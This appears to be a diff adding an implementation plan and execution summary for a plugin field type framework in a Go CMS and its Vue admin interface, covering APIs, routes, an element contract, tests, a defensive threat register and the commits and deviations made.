+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
+
+## Assumptions (explicit)
+
+- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
+- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
+- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
+- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
+
+## Plan sizing note
+
+The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.

+
+<objective>
+Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 notices and refusal mapping, D-18 upload route).
+
+Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type, and a type that changes a value on save (Journal strips unsafe HTML per D-10) can tell the admin what it changed.
+Output: the pact types, the cabana registry, compile, save (with notices), show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField, the global loader and the notice display, rebuilt dist, READMEs and docs.

+
+```go
+// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
+type FormFieldType struct {
+	Name         string   // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
+	Element      string   // custom-element tag defined by Scripts, plugin prefix rule

+	Locale  string `json:"locale,omitempty"` // set for a translatable type's value
+	Message string `json:"message"`          // already localized
+}
+// RecordMeta (relation_field.go) gains: Notices []FieldNotice `json:"notices,omitempty"`
+```
+
+Save responses: `POST /{vendor}/{plugin}/{controller}` and `PUT .../{id}` keep `{"data":...,"meta":{"labels":...}}`; when a Decode returned notices, `meta` also carries `"notices":[{"field":"content","locale":"pl","message":"2 elements were removed: style, iframe"}]`. Without notices the JSON is byte-for-byte today's.
+
+Routes (relative to `<prefix>/api/v1`):
+- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
+- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
+
+Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
+- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
+- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
+- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
+- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
+
+Existing code the executor builds on (read, do not re-derive):
+- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
+- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
+- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
+- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
+- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
+- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
+- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
+- `modules/cabana/relation_field.go`: `RecordMeta` (91), `RecordEnvelope`, `RecordResult`; `modules/cabana/crud.go`: `localizeForbidden` (the pattern for `localizeNotices`: request locale via `schemaLocale`, `translateKey`), `CRUDService.tr`; `modules/phrasebook/translator.go`: `Get(ctx, key, params)` and `Choice(ctx, key, count, params)`.
+- `admin/src/views/FormView.vue`: `adopt` (173, reloads the saved record into the form), `save` (315), the saved toast (337); `admin/src/components/form/FormGrid.vue` (47, `:errors` per field) and `FormField.vue` (the `errors` prop and error line): the path notices follow.
+- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
+- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).

+
+Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block, including Decode's FormFieldDecoded answer and FormFieldNotice (the D-10 amendment: a type reports what it changed instead of refusing); which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldNotice, RecordMeta.Notices as meta.notices omitted when empty, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
+  <decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
+  <context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05: v0.1.18, or the next free v0.1.x; v0.1.17 is already the 16.1 security release) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>

+  <action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
+
+pact (D-12, D-10): add FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage, notice localization and the untouched-value skip; Decode returns FormFieldDecoded (the value to store plus optional notices; a notice reports a change the type made to an accepted value, a FormFieldError refuses a value the type cannot accept), Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
+
+Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
+
+Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
+
+Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value}, sets projected[field] to the result's Value and keeps the result's Notices with the field name; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed) and discards every collected notice; any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500. So the save response always carries the stored value, which the SPA adopts into the form (the reload D-10 asks for).
+
+Notices (D-10, framework half): after the transaction commits, new localizeNotices(ctx, s.tr, collected) turns each notice into a FieldNotice{Field, Locale, Message} in the request locale, the way localizeForbidden localizes a refusal: Message is a phrase key or text, resolved with tr.Choice(ctx, key, Count, Params) when Count > 0 and tr.Get(ctx, key, Params) otherwise; a nil translator keeps the text. At most 10 notices per field and locale are kept and each localized message is cut to 500 runes with an ellipsis. RecordMeta (relation_field.go) gains Notices []FieldNotice with json "notices,omitempty", set on the RecordResult that create and update write; with no notice the encoded response is byte-for-byte today's.
+
+Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse), document the FormField keys and the optional RecordMeta notices (FieldNotice); add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
+
+SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
+
+Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError, trims surrounding spaces and reports that with the notice Message "acme.demo::lang.trimmed" (Count 1), and otherwise returns the value with no notice, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; a value " x " is stored as "x" and localizeNotices yields one FieldNotice for "notes" (a nil translator keeps the key text); the JSON encoding of a RecordMeta without notices has no "notices" key; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
+
+Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier, FormFieldDecoded and FormFieldNotice included); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes, FieldNotice, the meta.notices key of the create and update responses and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode (value, notices, refusal) and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed.

+  <behavior>
+    - Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
+    - Notices per locale (D-10): a notice returned for en becomes a FieldNotice with field and locale "en", one for the default locale carries locale "pl"; a non-translatable type's notices carry no locale; a FormFieldError on any locale answers 422 with no notices.
+    - Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written and yields no notice; on create nothing is skipped.
+    - FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
+    - A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
+    - Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
+  </behavior>
+  <action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
+
+Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. Every locale's notices are kept with that locale (FieldNotice.Locale), the default locale included. A translatable Decode's FormFieldDecoded.Value must be a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
+
+Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
+
+Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
+
+List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
+
+Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
+
+Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
+
+Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Notices" (FormFieldDecoded notices, per-locale FieldNotice, localization, the 10-per-field and 500-rune caps, no key without notices), "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only.

+    - A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
+    - isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
+    - summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
+    - A list column whose type is not built in renders its value as plain text.
+    - Notices (D-10): a save answer with meta.notices shows each message under its field (prefixed with the upper-case locale for a translatable field) as a warning status line, and the saved toast appends the messages; the lines clear on the next save attempt; a save answer without notices shows none and the toast text is unchanged; a notice that looks like HTML renders as literal text.
+    - After a save whose stored value differs from what the element holds (a type stripped something), the form value equals the response's value and PluginField sets the element's value property once to it.
+  </behavior>
+  <action>Finish the SPA half (per D-06, D-10, D-13, D-14, D-18).
+
+ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
+
+Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
+
+Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
+
+Notices (D-10, generic for any field type): formState.ts exports noticeLines(notices) returning a field name to message list map, where a notice with a locale reads "<LOCALE>: message". FormView keeps a notices ref, clears it when a save starts, and after a successful create or update sets it from result.data.meta.notices (absent means none); it passes it through FormGrid to FormField the same way it passes errors. FormField gains an optional notices prop rendered under the control as a status line in the existing warning callout tone (summer-callout--warning, role="status", referenced by aria-describedby), with text interpolation only, never as raw HTML. The saved toast appends the joined notice messages, so "Zapisz i zamknij", which navigates away, still tells the admin. adopt(result.data) already reloads the stored values; keep PluginField's echo rule, so the element gets the stored value exactly when it differs from element.value.
+
+Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure), the reload of a changed stored value, and isMLField on the formState helpers; FormField.test.ts with the notice line (literal text for an HTML-looking message, aria-describedby, none without notices); formState.test.ts with noticeLines (locale prefix, no locale, empty).
+
+Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials), the translatable variant and how the admin shows notices; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
+| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
+| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
+| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
+| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
+| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
+| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
+| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
+| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages (422) and FormFieldNotice messages (meta.notices) reach the client; any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
+| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
+| T-16.2-33 | Tampering (admin XSS) / Denial of Service | save notices (localizeNotices, FormField notice line) | medium | mitigate | A notice can quote attacker-written markup (for example a removed tag name); the SPA renders notices with text interpolation only, never v-html (acceptance grep and an HTML-looking-message test); cabana keeps at most 10 notices per field and locale and cuts each localized message to 500 runes, so a value with thousands of removed parts cannot inflate the response |
+| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |

+# Phase 16.2 Plan 01: Plugin field type framework Summary
+
+**Plugins register value-bearing admin field types through pact.HasFormFieldTypes; cabana compiles, decodes (with localized meta.notices), loads, lists, uploads and stores them (translatable ones through the ML path, untouched values skipped), and the admin SPA hosts their custom elements globally with uploads and save notices.**
+
+## Performance
+
+- **Duration:** 34 min
+- **Started:** 2026-10-10T08:53:13Z
+- **Completed:** 2026-10-10T09:27:00Z
+- **Tasks:** 4 (Task 1 checkpoint resolved by the orchestrator, Tasks 2-4 executed)
+- **Files modified:** 51 (excluding the rebuilt dist assets)
+
+## Task 1 checkpoint (resolved)
+
+Baseline verify was run by the orchestrator (vet passed, 4 PASS lines, clean `git status --porcelain -- modules admin docs scripts`). Human reply, verbatim:
+
+> adjust: ListValue(ctx context.Context, value any) string
+
+Final identifier list used by Tasks 2-4: every pact and cabana identifier exactly as in the plan's `<interfaces>` block, except `pact.FormFieldType.ListValue` is `func(ctx context.Context, value any) string` (was `func(value any) string`). The element contract is unchanged (value property; attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload, summer-upload-result).
+
+**Note for plans 03, 05 and 06:** they refer to `ListValue` and must use the ctx form; plan 03's Journal `ListValue` implementation receives `ctx`.
+
+## Accomplishments
+
+- pact: `FormFieldType` (Name, Element, Translatable, Scripts, Styles, Options, CheckOptions, Decode, Load, ListValue with ctx, Upload), `FormFieldValue`, `FormFieldDecoded`, `FormFieldNotice`, `FormFieldUpload`, `FormFieldUploadResult`, `FormFieldError`, `HasFormFieldTypes`.
+- cabana boot: `compileFieldTypes` (alias shape, core-type and cross-plugin collisions naming both plugins, element prefix via `checkWidgetTag`, Decode required, option keys, assets through the extracted `readClientAssets`), passed to `compileRegistryWithTypes`; fields.yaml accepts a plugin alias with the general keys plus its options (`typeOptions`, `element`, `translatable` in the schema); `CheckOptions` at boot; settings and relation forms refuse plugin aliases; `CompileFormWithTypes`.
+- cabana save/show: `liftPluginValues`, `decodePluginFields` inside the transaction (per locale for translatable types, untouched skip on update via `servedFieldValue`), `localizeNotices` into `RecordMeta.Notices` (`meta.notices`, max 10 per field and locale, 500 runes), `hydratePluginFields` (per locale), `FieldWritesFromContext` for Form hooks, `isMLField` routing translatable types through `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord`.
+- cabana list and routes: plugin aliases as column types with `ListValue` in `projectRowCtx`; `GET /field-types`; `POST .../{id}/fields/{field}/upload` (`fieldUpload`), annotated, in `phase09Routes`, CSRF inventories updated.
+- SPA: `loadFieldTypes` after boot and login, `loadGlobalStyles`/`GLOBAL_STYLE_OWNER`, `PluginField` (value/attributes/summer-change/echo rule/uploads), `MLPluginField`, `rendererForField`/`isRegisteredField`/`isMLField`, `noticeLines` with the notice status line in `FormField` and the saved toast, rebuilt `modules/boardwalk/dist`.
+- Docs: pact and cabana READMEs, new `docs/backend/field-types.md` (registration, aliases, options, Decode/notices/refusal, Load, notices, translatable types, untouched values, companion columns, list columns, uploads, full element contract), links from forms.md and lists-and-filters.md.
+
+## Task Commits
+
+1. **Task 1: Confirm the pact API** - resolved by the orchestrator (no commit)
+2. **Task 2: Tracer** - `1e20ace` (feat, pact), `717d46e` (feat, cabana + docs + OpenAPI), `83fa2f7` (feat, admin SPA + dist)
+3. **Task 3: Go expansion** - `8fa92db` (feat)
+4. **Task 4: SPA expansion** - `4adb48a` (feat)
+
+## Smoke test results
+
+- `go vet ./...` clean; `TestFieldTypeTracerSmoke` (15 subtests), `TestFieldTypeExpansionSmoke` (14 subtests), `TestPhase09ContractInventory`, `TestPhase09PermissionMatrix`, `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestListRelationSearchSmoke`, `TestEnabledLocalesDefaultFirstSmoke`, `TestPhase10CSRF`, `ExampleCompileFormWithTypes` pass.
+- `go test ./...`: the only failures are the testcontainers suites that need Docker (permission denied on /var/run/docker.sock), the same set as before this plan; no non-Docker failure message.
+- Admin: `npm run typecheck` clean, full vitest suite 77 files / 1190 tests pass, `check-admin-openapi.sh --check`, `check-admin-dist.sh`, `TestDocsTree` and `summer docs:build --check` pass.
+- Neutral names: `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing.
+
+## Decisions Made
+
+See key-decisions in the frontmatter. In short: ListValue takes ctx (human), the registry is passed down per boot with nil-registry wrappers for existing callers, only `pact.FormFieldError` is a 422, untouched detection compares canonical JSON with the served value, and the two response types are an envelope (`FieldTypesResponse`) and a data object (`FieldUploadResponse`).
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Route inventories outside the plan's file list**
+- **Found during:** Task 3
+- **Issue:** `TestPhase10CSRF` (counts 29 state-changing routes) and `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` failed once the upload route was mounted.
+- **Fix:** Added the route to both inventories (29 -> 30).
+- **Files modified:** modules/cabana/phase10_csrf_test.go, modules/cabana/phase10_coverage_test.go
+- **Commit:** 8fa92db
+
+**2. [Rule 3 - Blocking] Docs Go snippets need src= references**
+- **Found during:** Task 2
+- **Issue:** TestDocsTree refuses a Go code block without `src=`.
+- **Fix:** Added `modules/cabana/example_field_type_test.go` (`NotesPlugin.FormFieldTypes`, `ExampleCompileFormWithTypes` with output) and referenced it from docs/backend/field-types.md (synced with `summer docs:sync`).
+- **Commit:** 717d46e
+
+**3. [Rule 2 - Correctness] Strict error mapping for plugin code**
+- **Found during:** Task 2
+- **Issue:** `lifecycleFailure` passes a plugin-returned `ValidationError` or `ForbiddenError` through; the plan allows only `pact.FormFieldError` to reach the client.
